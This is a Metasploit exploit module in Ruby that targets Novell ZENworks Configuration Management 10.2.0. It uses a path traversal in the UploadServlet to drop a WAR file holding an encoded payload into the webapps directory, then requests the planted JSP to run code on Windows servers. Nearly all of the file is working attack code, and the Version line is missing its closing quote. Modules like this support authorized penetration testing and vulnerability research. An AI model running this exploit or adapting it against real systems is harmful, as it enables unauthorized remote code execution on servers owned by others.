|
##
# $Id: zenworks_uploadservlet.rb 9419 2010-06-04 13:36:29Z mc $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Novell ZENworks Configuration Management Remote Execution',
'Description' => %q{
This module exploits a code execution flaw in Novell ZENworks Configuration Management 10.2.0.
By exploiting the UploadServlet, an attacker can upload a malicious file outside of the TEMP directory
and then make a secondary request that allows for arbitrary code execution.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 9419
,
'References' =>
[
[ 'OSVDB', '63412' ],
[ 'BID', '39114' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-078/' ],
[ 'URL', 'http://tucanalamigo.blogspot.com/2010/04/pdc-de-zdi-10-078.html' ],
],
'Privileged' => true,
'Platform' => [ 'win' ],
'Targets' =>
[
[ 'Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
},
],
],
'DefaultTarget' => 0))
register_options([Opt::RPORT(80),], self.class)
end
def exploit
arch = target['Arch']
plat = [Msf::Module::PlatformList.new(target['Platform']).platforms[0]]
# Generate the WAR containing the EXE containing the payload
app_base = rand_text_alphanumeric(4+rand(32-4))
jsp_name = rand_text_alphanumeric(8+rand(8))
war_data = Msf::Util::EXE.to_jsp_war(framework, arch, plat, payload.encoded, :jsp_name => jsp_name)
res = send_request_cgi(
{
'uri' => "/zenworks/UploadServlet?filename=../../webapps/#{app_base}.war",
'method' => 'POST',
'data' => war_data,
'headers' =>
{
'Content-Type' => 'application/octet-stream',
}
})
print_status("Uploading #{war_data.length} bytes as #{app_base}.war ...")
select(nil, nil, nil, 20)
if (res.code == 200)
print_status("Triggering payload at '/#{app_base}/#{jsp_name}.jsp' ...")
send_request_raw(
{
'uri' => "/#{app_base}/" + "#{jsp_name}" + '.jsp',
'method' => 'GET',
})
else
print_error("Denied...")
end
handler
end
end
|
推荐
评论(0条)
